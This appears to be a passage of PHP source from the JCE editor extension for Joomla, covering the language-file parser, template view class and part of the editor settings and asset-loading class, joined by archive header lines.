 * @copyright   Copyright (c) 2009-2024 Ryan Demmer. All rights reserved
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

\defined('_JEXEC') or die;

use Joomla\CMS\Factory;
use Joomla\Filesystem\Path;
use Joomla\CMS\Object\CMSObject;

class WFLanguageParser extends CMSObject
{
    protected $mode = 'editor';
    protected $plugins = array();
    protected $sections = array();

    protected $language = 'en-GB';

    /**
     * Cache of processed data.
     *
     * @var array
     *
     * @since  11.1
     */
    protected static $cache = array();

    public function __construct($config = array())
    {
        if (array_key_exists('plugins', $config)) {
            $config['plugins'] = (array) $config['plugins'];
        }

        if (array_key_exists('sections', $config)) {
            $config['sections'] = (array) $config['sections'];
        }

        if (array_key_exists('language', $config)) {
            $config['language'] = $config['language'];
        }

        $this->setProperties($config);
    }

    /**
     * Parse an INI formatted string and convert it into an array.
     *
     * @param string $data             INI formatted string to convert
     * @param bool   $process_sections A boolean setting to process sections
     * @param array  $sections         An array of sections to include
     * @param mixed  $filter           A regular expression to filter sections by
     *
     * @return array Data array
     *
     * @since   2.4
     *
     * Based on JRegistryFormatINI::stringToObject
     *
     * @copyright   Copyright (C) 2005 - 2013 Open Source Matters, Inc. All rights reserved
     * @license     GNU General Public License version 2 or later; see LICENSE
     */
    protected static function ini_to_array($data, $process_sections = false, $sections = array(), $filter = '')
    {
        // Check the memory cache for already processed strings.
        $hash = md5($data . ':' . (int) $process_sections . ':' . serialize($sections) . ':' . $filter);

        if (isset(self::$cache[$hash])) {
            return self::$cache[$hash];
        }

        // If no lines present just return the array.
        if (empty($data)) {
            return array();
        }

        $array = array();
        $section = false;
        $lines = explode("\n", $data);

        // Process the lines.
        foreach ($lines as $line) {
            // Trim any unnecessary whitespace.
            $line = trim($line);

            // Ignore empty lines and comments.
            if (empty($line) || ($line[0] == ';')) {
                continue;
            }

            if ($process_sections) {
                $length = strlen($line);

                // If we are processing sections and the line is a section add the object and continue.
                if (($line[0] == '[') && ($line[$length - 1] == ']')) {
                    $section = substr($line, 1, $length - 2);

                    // filter section by regular expression
                    if ($filter) {
                        if (preg_match('#' . $filter . '#', $section)) {
                            continue;
                        }
                    }

                    // allow all sections
                    if (empty($sections)) {
                        $array[$section] = array();
                    } else {
                        if (in_array($section, $sections)) {
                            $array[$section] = array();
                        }
                    }

                    continue;
                }
            } elseif ($line[0] == '[') {
                continue;
            }

            // Check that an equal sign exists and is not the first character of the line.
            if (!strpos($line, '=')) {
                // Maybe throw exception?
                continue;
            }

            // Get the key and value for the line.
            list($key, $value) = explode('=', $line, 2);

            // Validate the key.
            if (preg_match('/[^A-Z0-9_]/i', $key)) {
                // Maybe throw exception?
                continue;
            }

            // If the value is quoted then we assume it is a string.
            $length = strlen($value);

            if ($length && ($value[0] == '"') && ($value[$length - 1] == '"')) {
                // Strip the quotes and Convert the new line characters.
                $value = stripcslashes(substr($value, 1, ($length - 2)));
                $value = str_replace(array("\n", "\r"), array('\n', '\r'), $value);
            } else {
                // If the value is not quoted, we assume it is not a string.
                // If the value is 'false' assume boolean false.
                if ($value == 'false') {
                    $value = false;
                }
                // If the value is 'true' assume boolean true.
                elseif ($value == 'true') {
                    $value = true;
                }
                // If the value is numeric than it is either a float or int.
                elseif (is_numeric($value)) {
                    // If there is a period then we assume a float.
                    if (strpos($value, '.') !== false) {
                        $value = (float) $value;
                    } else {
                        $value = (int) $value;
                    }
                }
            }

            // If a section is set add the key/value to the section, otherwise top level.
            if ($section) {
                $array[$section][$key] = $value;
            } else {
                $array[$key] = $value;
            }
        }

        // Cache the string
        self::$cache[$hash] = $array;

        return $array;
    }

    protected static function getOverrides()
    {
        // get the language file
        $language = Factory::getLanguage();
        // get language tag
        $tag = $language->getTag();

        $file = JPATH_SITE . '/language/overrides/' . $tag . '.override.ini';

        $ini = array();

        if (is_file($file)) {
            $content = @file_get_contents($file);

            if ($content && is_string($content)) {
                $ini = @parse_ini_string($content, true);
            }
        }

        return $ini;
    }

    protected static function filterSections($ini, $sections = array(), $filter = '')
    {
        if ($ini && is_array($ini)) {
            if (!empty($sections)) {
                $ini = array_intersect_key($ini, array_flip($sections));
            }

            // filter keys by regular expression
            if ($filter) {
                foreach (array_keys($ini) as $key) {
                    if (preg_match('#' . $filter . '#', $key)) {
                        unset($ini[$key]);
                    }
                }
            }
        }

        return $ini;
    }

    protected static function processLanguageINI($files, $sections = array(), $filter = '')
    {
        $data = array();

        foreach ((array) $files as $file) {
            if (!is_file($file)) {
                continue;
            }

            $ini = false;

            $content = @file_get_contents($file);

            if ($content && is_string($content)) {
                if (function_exists('parse_ini_string')) {
                    $ini = @parse_ini_string($content, true);
                    // filter
                    $ini = self::filterSections($ini, $sections, $filter);
                } else {
                    $ini = self::ini_to_array($content, true, $sections, $filter);
                }
            }

            // merge with data array
            if ($ini && is_array($ini)) {
                $data = array_merge($data, $ini);
            }
        }

        $output = '';

        // get overrides
        $overrides = self::getOverrides();

        if (!empty($data)) {
            $x = 0;

            foreach ($data as $key => $strings) {
                if (is_array($strings)) {
                    $output .= '"' . strtolower($key) . '":{';

                    $i = 0;

                    foreach ($strings as $k => $v) {
                        if (!empty($overrides) && array_key_exists(strtoupper($k), $overrides)) {
                            $v = $overrides[$k];
                        }

                        // remove "
                        $v = str_replace('"', '', $v);

                        if (is_numeric($v)) {
                            $v = (float) $v;
                        } else {
                            $v = '"' . $v . '"';
                        }

                        // key to lowercase
                        $k = strtolower($k);

                        // remove WF_
                        $k = str_replace('wf_', '', $k);

                        // remove "_dlg"
                        $key = preg_replace('#_dlg$#', '', $key);

                        // remove the section name
                        $k = preg_replace('#^' . $key . '(_dlg)?_#', '', $k);

                        // hex colours to uppercase and remove marker
                        if (strpos($k, 'hex_') !== false) {
                            $k = strtoupper(str_replace('hex_', '', $k));
                        }

                        // create key/value pair as JSON string
                        $output .= '"' . $k . '":' . $v . ',';

                        ++$i;
                    }
                    // remove last comma
                    $output = rtrim(trim($output), ',');

                    $output .= '},';

                    ++$x;
                }
            }
            // remove last comma
            $output = rtrim(trim($output), ',');
        }

        return $output;
    }

    private function getFilter()
    {
        return '';
    }

    public function load($files = array())
    {
        // get language tag
        $tag = $this->language;

        // base language path
        $path = JPATH_SITE . '/language/' . $tag;

        // if no file set
        if (empty($files)) {
            // Add English language
            $files[] = JPATH_SITE . '/language/en-GB/en-GB.com_jce.ini';

            // add pro language file
            $files[] = JPATH_SITE . '/language/en-GB/en-GB.com_jce_pro.ini';

            // non-english language
            if ($tag != 'en-GB') {
                if (is_dir($path)) {
                    $core = $path . '/' . $tag . '.com_jce.ini';
                    $pro = $path . '/' . $tag . '.com_jce_pro.ini';

                    if (is_file($core)) {
                        $files[] = $core;

                        if (is_file($pro)) {
                            $files[] = $pro;
                        }
                    } else {
                        $tag = 'en-GB';
                    }
                } else {
                    $tag = 'en-GB';
                }
            }

            $plugins = $this->get('plugins');

            if (!empty($plugins)) {
                foreach ($plugins['external'] as $name => $plugin) {
                    // rewrite name from plugin url
                    $name = basename(dirname($plugin));
                    $name = str_replace('plg_jce_', '', $name);

                    $filename = 'en-GB.plg_jce_' . $name . '.ini';

                    // add English file
                    $ini = Path::find(array(
                        JPATH_ADMINISTRATOR . '/language/en-GB',
                        JPATH_PLUGINS . '/jce/' . $name . '/language/en-GB'
                    ), $filename);

                    if ($ini) {
                        $files[] = $ini;
                    }

                    // non-english language
                    if ($tag != 'en-GB') {

                        $filename = $tag . '.plg_jce_' . $name . '.ini';

                        $ini = Path::find(array(
                            JPATH_ADMINISTRATOR . '/language/' . $tag,
                            JPATH_PLUGINS . '/jce/' . $name . '/language/' . $tag
                        ), $filename);

                        if ($ini) {
                            $files[] = $ini;
                        }
                    }
                }
            }
        }

        // shorten the tag, eg: en-GB -> en
        $tag = substr($tag, 0, strpos($tag, '-'));

        $sections = $this->get('sections');
        $filter = $this->getFilter();

        $data = self::processLanguageINI($files, $sections, $filter);

        // clean data
        $data = rtrim(trim($data), ',');

        return 'tinyMCE.addI18n({"' . $tag . '":{' . $data . '}});';
    }

    public function output($data)
    {
        if ($data) {
            ob_start();

            header('Content-type: application/javascript; charset: UTF-8');
            header('Vary: Accept-Encoding');

            // cache control
            header('Cache-Control: max-age=0,no-cache');

            // get content hash
            $hash = md5($data);

            // set etag header
            header('ETag: "' . $hash . '"');

            echo $data;

            exit(ob_get_clean());
        }
        exit();
    }
}
com_jce/editor/libraries/classes/view.php000060400000007575152453734450014553 0ustar00<?php
/**
 * @package     JCE
 * @subpackage  Editor
 *
 * @copyright   Copyright (C) 2005 - 2020 Open Source Matters, Inc. All rights reserved.
 * @copyright   Copyright (c) 2009-2024 Ryan Demmer. All rights reserved
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

\defined('_JEXEC') or die;

use Joomla\Filesystem\Path;
use Joomla\CMS\Object\CMSObject;

final class WFView extends CMSObject
{
    private $path = array();

    public function __construct($config = array())
    {
        if (!array_key_exists('base_path', $config)) {
            $config['base_path'] = WF_EDITOR_LIBRARIES;
        }

        if (!array_key_exists('layout', $config)) {
            $config['layout'] = 'default';
        }

        if (!array_key_exists('name', $config)) {
            $config['name'] = '';
        }

        $this->setProperties($config);

        if (array_key_exists('template_path', $config)) {
            $this->addTemplatePath($config['template_path']);
        } else {
            $this->addTemplatePath($this->get('base_path') . '/views/' . $this->getName() . '/tmpl');
        }
    }

    /**
     * Execute and display a template script.
     *
     * @param string $tpl The name of the template file to parse;
     *                    automatically searches through the template paths
     *
     * @copyright Copyright Copyright (C) 2005 - 2010 Open Source Matters. All rights reserved
     * @license GNU/GPL, see LICENSE.php
     */
    public function display($tpl = null)
    {
        $result = $this->loadTemplate($tpl);

        if ($result instanceof Exception) {
            return $result;
        }

        echo $result;
    }

    public function getName()
    {
        return $this->get('name');
    }

    public function setLayout($layout)
    {
        $this->set('layout', $layout);
    }

    public function getLayout()
    {
        return $this->get('layout');
    }

    public function addTemplatePath($path)
    {
        $this->path[] = $path;
    }

    public function getTemplatePath()
    {
        return $this->path;
    }

    /**
     * Load a template file.
     *
     * @param string $tpl The name of the template source file ...
     *                    automatically searches the template paths and compiles as needed
     *
     * @return string The output of the the template script.
     *
     * @copyright Copyright Copyright (C) 2005 - 2010 Open Source Matters. All rights reserved
     * @license GNU/GPL, see LICENSE.php
     */
    public function loadTemplate($tpl = null)
    {
        // clear prior output
        $output = null;
        $template = null;

        //create the template file name based on the layout
        $file = isset($tpl) ? $this->getLayout() . '_' . $tpl : $this->getLayout();

        // clean the file name
        $file = preg_replace('/[^A-Z0-9_\.-]/i', '', $file);

        if (isset($tpl)) {
            $tpl = preg_replace('/[^A-Z0-9_\.-]/i', '', $tpl);
        }

        $path = $this->getTemplatePath();

        $template = Path::find($path, $file . '.php');

        if ($template != false) {
            // unset so as not to introduce into template scope
            unset($tpl);
            unset($file);

            // never allow a 'this' property
            if (isset($this->this)) {
                unset($this->this);
            }

            // start capturing output into a buffer
            ob_start();
            // include the requested template filename in the local scope
            // (this will execute the view logic).
            include $template;

            // done with the requested template; get the buffer and
            // clear it.
            $output = ob_get_contents();
            ob_end_clean();

            return $output;
        } else {
            throw new InvalidArgumentException('Layout "' . $file . '" not found in Paths ' . implode(', ', $path));
        }
    }
}
com_jce/editor/libraries/classes/editor.php000060400000132410152453734450015052 0ustar00<?php

/**
 * @package     JCE
 * @subpackage  Editor
 *
 * @copyright   Copyright (C) 2005 - 2020 Open Source Matters, Inc. All rights reserved.
 * @copyright   Copyright (c) 2009-2024 Ryan Demmer. All rights reserved
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

\defined('_JEXEC') or die;

use Joomla\CMS\Component\ComponentHelper;
use Joomla\CMS\Factory;
use Joomla\Filesystem\File;
use Joomla\Filesystem\Folder;
use Joomla\Filesystem\Path;
use Joomla\CMS\Language\Language;
use Joomla\CMS\Language\Text;
use Joomla\CMS\Session\Session;
use Joomla\CMS\Uri\Uri;

class WFEditor
{
    // Editor instance
    protected static $instances;

    /**
     * Profile object.
     *
     * @var object
     */
    private $profile = null;

    /**
     * Context hash.
     *
     * @var string
     */
    protected $context = '';

    /**
     * Array of linked scripts.
     *
     * @var array
     */
    private $scripts = array();

    /**
     * Array of linked style sheets.
     *
     * @var array
     */
    private $stylesheets = array();

    /**
     * Array of included style declarations.
     *
     * @var array
     */
    private $styles = array();

    /**
     * Array of scripts placed in the header.
     *
     * @var array
     */
    private $javascript = array();

    /**
     * Array of script options.
     *
     * @var array
     */
    private $scriptOptions = array();

    /**
     * Array of core plugins
     *
     * @var array
     */
    private static $plugins = array('core', 'help', 'autolink', 'effects', 'cleanup', 'code', 'format', 'importcss', 'colorpicker', 'blobupload', 'upload', 'figure', 'ui', 'noneditable', 'branding');

    /**
     * Initialization state
     *
     * @var boolean
     */
    public $initialized = false;

    private function addScript($url, $type = 'text/javascript')
    {
        $url = $this->addAssetVersion($url);
        $this->scripts[$url] = $type;
    }

    private function addStyleSheet($url)
    {
        $url = $this->addAssetVersion($url);
        $this->stylesheets[] = $url;
    }

    private function addScriptDeclaration($text)
    {
        $this->javascript[] = $text;
    }

    private function addScriptOptions($text)
    {
        $this->scriptOptions[] = $text;
    }

    private function addStyleDeclaration($text)
    {
        $this->styles[] = $text;
    }

    public function getScripts()
    {
        return $this->scripts;
    }

    public function getStyleSheets()
    {
        return $this->stylesheets;
    }

    public function getScriptDeclaration()
    {
        return $this->javascript;
    }

    public function getScriptOptions()
    {
        return $this->scriptOptions;
    }

    public function __construct($config = array())
    {
        $app = Factory::getApplication();
        $wf = WFApplication::getInstance();

        if (!isset($config['plugin'])) {
            $config['plugin'] = '';
        }

        if (!isset($config['profile_id'])) {
            $config['profile_id'] = 0;
        }

        // trigger event
        $app->triggerEvent('onBeforeWfEditorLoad', array(&$config));

        // set profile from "default"
        $this->profile = $wf->getActiveProfile($config);

        // set context
        $this->context = $wf->getContext();
    }

    /**
     * Returns a reference to a editor object.
     *
     * This method must be invoked as:
     *         <pre>  $editor =WFEditor::getInstance();</pre>
     *
     * @return JCE The editor object
     */
    public static function getInstance($config = array())
    {
        $signature = md5(serialize($config));

        if (empty(self::$instances[$signature])) {
            self::$instances[$signature] = new self($config);
        }

        return self::$instances[$signature];
    }

    private function addAssetVersion($url)
    {
        $version = md5(self::getVersion());

        if (strpos($url, '?') === false) {
            $url .= '?' . $version;
        } else {
            $url .= '&' . $version;
        }

        return $url;
    }

    /**
     * Setup the editor
     * This will create the settings array and render the editor
     *
     * @param boolean $autoInit Automatically initialize the editor
     * @return WFEditor
     */
    public function setup($autoInit = true)
    {
        if ($this->initialized) {
            return $this;
        }

        $this->initialized = true;

        $settings = $this->getSettings();

        Factory::getApplication()->triggerEvent('onBeforeWfEditorRender', array(&$settings));

        $this->render($settings, $autoInit);

        return $this;
    }

    /**
     * Legacy function to build the editor
     *
     * @return String
     */
    public function buildEditor()
    {
        $this->setup()->getOutput();
    }

    /**
     * Legacy function to get the editor settings
     *
     * @return array
     */
    public function getEditorSettings()
    {
        return $this->getSettings();
    }

    private function getCompressionOptions()
    {
        $wf = WFApplication::getInstance();

        // check for joomla debug mode
        $debug = Factory::getConfig()->get('debug');

        // default compression states
        $options = array(
            'javascript' => 0,
            'css' => 0,
        );

        // set compression states, only if debug mode is off
        if ((int) $debug === 0) {
            $options = array(
                'javascript' => (int) $wf->getParam('editor.compress_javascript', 0, 0),
                'css' => (int) $wf->getParam('editor.compress_css', 0, 0),
            );
        }

        return $options;
    }

    private function assignEditorSkin(&$settings)
    {
        // get an editor instance
        $wf = WFApplication::getInstance();

        // assign skin - new default is "modern"
        $settings['skin'] = $wf->getParam('editor.toolbar_theme', 'modern');

        if (empty($settings['skin'])) {
            $settings['skin'] = 'modern';
        }

        if (strpos($settings['skin'], '.') !== false) {
            list($settings['skin'], $settings['skin_variant']) = explode('.', $settings['skin']);
        }

        // classic has been removed
        if ($settings['skin'] == 'classic') {
            $settings['skin'] = 'default';
        }

        if ($settings['skin'] == 'mobile') {
            $settings['skin'] = 'modern';
            $settings['skin_variant'] = 'touch';
        }
    }

    /**
     * Porcess and assign custom configuration variables
     *
     * @param [Array] $settings
     * @return void
     */
    private function getCustomConfig(&$settings)
    {
        // get an editor instance
        $wf = WFApplication::getInstance();

        // Other - user specified
        $userParams = $wf->getParam('editor.custom_config', '');

        if ($userParams) {
            // legacy format, eg: key:value;key:value
            if (!WFUtility::isJson($userParams)) {
                $userParams = explode(';', $userParams);
            } else {
                $userParams = json_decode($userParams, true);
            }

            // Remove values with invalid key, must be indexed array
            $userParams = array_filter($userParams, function ($value, $key) {
                return is_numeric($key) && $value != "";
            }, ARRAY_FILTER_USE_BOTH);

            foreach ($userParams as $userParam) {
                if (empty($userParam)) {
                    continue;
                }

                $name = '';
                $value = '';

                // legacy string
                if (is_string($userParam)) {
                    list($name, $value) = explode(':', $userParam);
                }

                // json associative array
                if (is_array($userParam) && array_key_exists('name', $userParam)) {
                    extract($userParam);
                }

                if ($name && $value !== '') {
                    $value = trim($value, " \t\n\r\0\x0B'\"");

                    // convert to boolean
                    if (is_bool($value)) {
                        $value = (bool) $value;
                    }

                    $settings[$name] = $value;
                }
            }
        }
    }

    private function isSkinRtl()
    {
        $language = Factory::getLanguage();

        if ($language->getTag() === WFLanguage::getTag()) {
            return $language->isRTL();
        }

        return false;
    }

    private function getLanguageDirection()
    {
        $user = Factory::getUser();
        $params = ComponentHelper::getParams('com_languages');
        $locale = $user->getParam('language', $params->get('site', 'en-GB'));

        $language = Language::getInstance($locale);

        return $language->isRTL() ? 'rtl' : 'ltr';
    }

    protected function getLanguageCode()
    {
        return WFLanguage::getCode();
    }

    protected function getLanguageTag()
    {
        return WFLanguage::getTag();
    }

    public function getSettings()
    {
        $app = Factory::getApplication();

        // get an editor instance
        $wf = WFApplication::getInstance();

        // create token
        $token = Session::getFormToken();

        // get editor version
        $version = self::getVersion();

        $settings = array(
            'token' => $token,
            'base_url' => Uri::root(),
            'language' => $this->getLanguageCode(),
            'directionality' => $this->getLanguageDirection(),
            'theme' => 'none',
            'plugins' => '',
            'skin' => 'default',
            'query' => array(
                $token => 1,
                'context' => $this->context,
            ),
        );

        // if a profile is set
        if (is_object($this->profile)) {
            $settings['query']['profile_id'] = $this->profile->id;

            $settings = array_merge($settings, array('theme' => 'advanced'), $this->getToolbar());

            // add plugins
            $plugins = $this->getPlugins();

            // add core plugins
            if (!empty($plugins['core'])) {
                $settings['plugins'] = array_values($plugins['core']);
            }

            // add external plugins
            if (!empty($plugins['external'])) {
                $settings['external_plugins'] = $plugins['external'];
            }

            // Theme and skins
            $theme = array(
                'toolbar_location' => array('top', 'top', 'string'),
                'toolbar_align' => array('left', 'left', 'string'),
                'statusbar_location' => array('bottom', 'bottom', 'string'),
                'path' => array(1, 1, 'boolean'),
                'resizing' => array(1, 0, 'boolean'),
                'resize_horizontal' => array(1, 1, 'boolean'),
            );

            // set rows key to pass to plugin config
            $settings['rows'] = $this->profile->rows;

            foreach ($theme as $k => $v) {
                $settings['theme_' . $k] = $wf->getParam('editor.' . $k, $v[0], $v[1], $v[2]);
            }

            $settings['width'] = $wf->getParam('editor.width');
            $settings['height'] = $wf->getParam('editor.height');

            // process and assign the editor skin
            $this->assignEditorSkin($settings);

            // get body class if any
            $body_class = $wf->getParam('editor.body_class', '');

            // check for editor reset - options are 1, 0, auto
            $settings['content_style_reset'] = $wf->getParam('editor.content_style_reset', 'auto');

            // if enabled, add the "mceContentReset" class to the body
            $content_reset = $settings['content_style_reset'] == 1 ? 'mceContentReset' : '';

            // combine body class and reset
            $settings['body_class'] = trim($body_class . ' ' . $content_reset);

            // set body id
            $settings['body_id'] = $wf->getParam('editor.body_id', '');

            // get stylesheets
            $stylesheets = (array) self::getTemplateStyleSheets();

            // set stylesheets as string
            $settings['content_css'] = implode(',', $stylesheets);

            // use cookies to store state
            $settings['use_state_cookies'] = (bool) $wf->getParam('editor.use_cookies', 1);

            // Set active tab
            $settings['active_tab'] = 'wf-editor-' . $wf->getParam('editor.active_tab', 'wysiwyg');

            $settings['invalid_elements'] = array();

            // Get all optional plugin configuration options
            $this->getPluginConfig($settings);

            // clean up invalid_elements
            if (!empty($settings['invalid_elements'])) {
                $settings['invalid_elements'] = array_values($settings['invalid_elements']);
            }
        } else {
            $settings['readonly'] = true;
        }

        // get compression options stylesheet
        $settings['compress'] = $this->getCompressionOptions();

        // set css compression
        if ($settings['compress']['css']) {
            $this->addStyleSheet(Uri::base(true) . '/index.php?option=com_jce&task=editor.pack&type=css&' . http_build_query((array) $settings['query']));
        } else {
            // CSS
            $this->addStyleSheet($this->getURL(true) . '/css/editor.min.css');

            // load default skin
            $this->addStyleSheet($this->getURL(true) . '/tinymce/themes/advanced/skins/default/ui.css');

            // load other skin
            if ($settings['skin'] != 'default') {
                $this->addStyleSheet($this->getURL(true) . '/tinymce/themes/advanced/skins/' . $settings['skin'] . '/ui.css');
            }

            // load variant
            if (isset($settings['skin_variant'])) {
                $this->addStyleSheet($this->getURL(true) . '/tinymce/themes/advanced/skins/' . $settings['skin'] . '/ui_' . $settings['skin_variant'] . '.css');
            }
        }

        if ($this->isSkinRtl()) {
            $settings['skin_directionality'] = 'rtl';
        }

        $app->triggerEvent('onBeforeWfEditorSettings', array(&$settings));

        // add module in Joomla 5
        if (version_compare(JVERSION, '5', 'ge')) {
            $this->addScript($this->getURL(true) . '/js/editor.module.js', 'module');
        }

        // set javascript compression script
        if ($settings['compress']['javascript']) {
            $this->addScript(Uri::base(true) . '/index.php?option=com_jce&task=editor.pack&' . http_build_query((array) $settings['query']));
        } else {
            // Tinymce
            $this->addScript($this->getURL(true) . '/tinymce/tinymce.js');

            // Editor
            $this->addScript($this->getURL(true) . '/js/editor.min.js');
        }

        // language
        $this->addScript(Uri::base(true) . '/index.php?option=com_jce&task=editor.loadlanguages&lang=' . $settings['language'] . '&' . http_build_query((array) $settings['query']));

        $this->getCustomConfig($settings);

        // process settings
        array_walk($settings, function (&$value, $key) {
            // remove 'rows' key from $settings
            if ($key == "rows") {
                $value = '';
            }

            // implode standard arrays
            if (is_array($value) && $value === array_values($value)) {
                $value = implode(',', $value);
            }

            // convert json strings to objects to prevent encoding
            if (is_string($value)) {
                // decode string
                $val = json_decode($value);

                // valid json
                if ($val) {
                    $value = $val;
                }
            }

            // convert stringified booleans to booleans
            if (is_string($value) && $value == 'true') {
                $value = true;
            }

            if (is_string($value) && $value == 'false') {
                $value = false;
            }
        });

        // Remove empty values
        $settings = array_filter($settings, function ($value) {
            return $value !== '';
        });

        return $settings;
    }

    public function render($settings, $autoInit = true)
    {
        // get an editor instance
        $wf = WFApplication::getInstance();

        if ($autoInit) {
            // encode as json string
            $tinymce = json_encode($settings, JSON_NUMERIC_CHECK | JSON_UNESCAPED_SLASHES);

            $this->addScriptDeclaration("try{WfEditor.init(" . $tinymce . ");}catch(e){console.debug(e);}");
        } else {
            $this->addScriptOptions($settings);
        }

        if (is_object($this->profile)) {
            if ($wf->getParam('editor.callback_file')) {
                $this->addScript(Uri::root(true) . '/' . $wf->getParam('editor.callback_file'));
            }
            // add callback file if exists
            if (is_file(JPATH_SITE . '/media/jce/js/editor.js')) {
                $this->addScript(Uri::root(true) . '/media/jce/js/editor.js');
            }

            // add custom editor.css if exists
            if (is_file(JPATH_SITE . '/media/jce/css/editor.css')) {
                $this->addStyleSheet(Uri::root(true) . '/media/jce/css/editor.css');
            }
        }
    }

    private function getOutput()
    {
        $document = Factory::getDocument();

        $end = $document->_getLineEnd();
        $tab = $document->_getTab();

        $version = self::getVersion();

        $output = '';

        foreach ($this->stylesheets as $stylesheet) {

            // don't add hash to dynamic php url
            if (strpos($stylesheet, 'index.php') === false) {
                $version = md5(basename($stylesheet) . $version);

                if (strpos($stylesheet, '?') === false) {
                    $stylesheet .= '?' . $version;
                } else {
                    $stylesheet .= '&' . $version;
                }
            }

            $output .= $tab . '<link rel="stylesheet" href="' . $stylesheet . '" type="text/css" />' . $end;
        }

        foreach ($this->scripts as $script) {

            // don't add hash to dynamic php url
            if (strpos($script, 'index.php') === false) {
                $version = md5(basename($script) . $version);

                if (strpos($script, '?') === false) {
                    $script .= '?' . $version;
                } else {
                    $script .= '&' . $version;
                }
            }
            $output .= $tab . '<script data-cfasync="false" type="text/javascript" src="' . $script . '" defer></script>' . $end;
        }

        foreach ($this->javascript as $script) {
            $output .= $tab . '<script data-cfasync="false" type="text/javascript">' . $script . '</script>' . $end;
        }

        foreach ($this->styles as $style) {
            $output .= $tab . '<style type="text/css">' . $style . '</style>' . $end;
        }

        return $output;
    }

    /**
     * Get the current version from the editor manifest.
     *
     * @return Version
     */
    private static function getVersion()
    {
        return WF_VERSION;
    }

    /**
     * Check if an icon already exists in a toolbar row
     *
     * @param [Array] $rows
     * @param [Mixed] $icon
     * @return Boolean
     */
    private function rowHasIcon($rows, $icon)
    {
        $found = false;

        foreach ($rows as $key => $row) {
            if (in_array($icon, $row)) {
                $found = true;
                break;
            }
        }

        return $found;
    }

    /**
     * Return a list of icons for each JCE editor row.
     *
     * @param string  The number of rows
     *
     * @return The row array
     */
    private function getToolbar()
    {
        $wf = WFApplication::getInstance();
        $rows = array('theme_buttons1' => array(), 'theme_buttons2' => array(), 'theme_buttons3' => array());

        // we need a profile object and some defined rows
        if (!is_object($this->profile) || empty($this->profile->rows)) {
            return $rows;
        }

        // get plugins
        $plugins = JcePluginsHelper::getPlugins();

        // get core commands
        $commands = JcePluginsHelper::getCommands();

        // merge plugins and commands
        $icons = array_merge($commands, $plugins);

        // create an array of rows
        $lists = explode(';', $this->profile->rows);

        // backwards compatability map
        $map = array(
            'paste' => 'clipboard',
            'spacer' => '|',
            'forecolor' => 'fontcolor',
            'backcolor' => 'backcolor',
        );

        $x = 0;

        for ($i = 1; $i <= count($lists); ++$i) {
            $buttons = array();
            $items = explode(',', $lists[$x]);

            // map legacy values etc.
            array_walk($items, function (&$item) use ($map) {
                if (array_key_exists($item, $map)) {
                    $item = $map[$item];
                }
            });

            // remove duplicates
            $items = array_unique($items);

            foreach ($items as $item) {
                // set the plugin/command name
                $name = $item;

                // check if button should be in toolbar
                if ($item !== '|') {
                    if (array_key_exists($item, $icons) === false) {
                        continue;
                    }

                    // assign icon
                    $item = $icons[$item]->icon;
                }

                // check for custom plugin buttons
                if (array_key_exists($name, $plugins)) {
                    $custom = $wf->getParam($name . '.buttons');

                    if (!empty($custom)) {
                        $custom = array_filter((array) $custom);

                        if (empty($custom)) {
                            $item = '';
                        } else {
                            $a = array();

                            foreach (explode(',', $item) as $s) {
                                if (in_array($s, $custom) || $s == '|') {
                                    $a[] = $s;
                                }
                            }

                            $item = implode(',', $a);

                            // remove leading or trailing |
                            $item = trim($item, '|');
                        }
                    }
                }

                if (!empty($item)) {
                    // remove double spacer
                    $item = preg_replace('#(\|,)+#', '|,', $item);

                    if ($this->rowHasIcon($rows, $item)) {
                        continue;
                    }

                    $buttons[] = $item;
                }
            }

            if (!empty($buttons)) {
                $rows['theme_buttons' . $i] = $buttons;
            }

            ++$x;
        }

        return $rows;
    }

    /**
     * Determine whether the editor has a profile assigned
     *
     * @return boolean
     */
    public function hasProfile()
    {
        return is_object($this->profile);
    }

    /**
     * Determine whether a plugin is loaded
     *
     * @param [string] $name
     * @return boolean
     */
    public function hasPlugin($name)
    {
        $plugins = $this->getPlugins();

        if (in_array($name, $plugins['core'])) {
            return true;
        }

        if (!empty($plugins['external'])) {
            if (array_key_exists($name, $plugins['external'])) {
                return true;
            }
        }

        return false;
    }

    /**
     * Return a list of published JCE plugins.
     *
     * @return string list
     */
    public function getPlugins()
    {
        static $plugins;

        $wf = WFApplication::getInstance();

        if (is_object($this->profile)) {
            if (!is_array($plugins)) {
                // get plugin items from profile
                $profile_plugins = explode(',', $this->profile->plugins);

                $items = array();

                // get core and installed plugins list
                $list = JcePluginsHelper::getPlugins();

                // check that the plugin is available
                $items = array_filter(array_keys($list), function ($item) use ($profile_plugins) {
                    return in_array($item, $profile_plugins);
                });

                // add advlists plugin if lists are loaded
                if (in_array('lists', $items)) {
                    $items[] = 'advlist';
                }

                // Load wordcount if enabled
                if ($wf->getParam('editor.wordcount', 1)) {
                    $items[] = 'wordcount';
                }

                // reset index
                $items = array_values($items);

                // add core plugins
                $items = array_merge(self::$plugins, $items);

                // remove duplicates and empty values
                $items = array_unique(array_filter($items));

                // create plugins array
                $plugins = array('core' => array(), 'external' => array());

                // check installed plugins are valid
                foreach ($list as $name => $attribs) {
                    // skip core plugins
                    if ($attribs->core) {
                        continue;
                    }

                    // find plugin key in plugins list
                    $pos = array_search($name, $items);

                    // check it is in profile plugin list
                    if ($pos === false) {
                        continue;
                    }

                    // remove from items array
                    unset($items[$pos]);

                    // reset index
                    $items = array_values($items);

                    // legacy file name
                    if (is_file($attribs->path . '/editor_plugin.js')) {
                        $plugins['external'][$name] = Uri::root(true) . '/' . $attribs->url . '/editor_plugin.js';
                    } else {
                        $plugins['external'][$name] = Uri::root(true) . '/' . $attribs->url . '/plugin.js';
                    }
                }

                // remove missing plugins
                $items = array_filter($items, function ($item) {
                    return is_file(WF_EDITOR_MEDIA . '/tinymce/plugins/' . $item . '/plugin.js');
                });

                // update core plugins
                $plugins['core'] = $items;
            }
        }

        return $plugins;
    }

    /**
     * Get all loaded plugins config options.
     *
     * @param array $settings passed by reference
     */
    private function getPluginConfig(&$settings)
    {
        $app = Factory::getApplication();

        $core = (array) $settings['plugins'];
        $items = array();

        // Core plugins
        foreach ($core as $plugin) {
            $file = WF_EDITOR_PLUGINS . '/' . $plugin . '/config.php';

            $file = Path::clean($file);

            if (is_file($file)) {
                // add plugin name to array
                $items[$plugin] = $file;
            }
        }

        // Installed plugins
        if (array_key_exists('external_plugins', $settings)) {
            $installed = (array) $settings['external_plugins'];

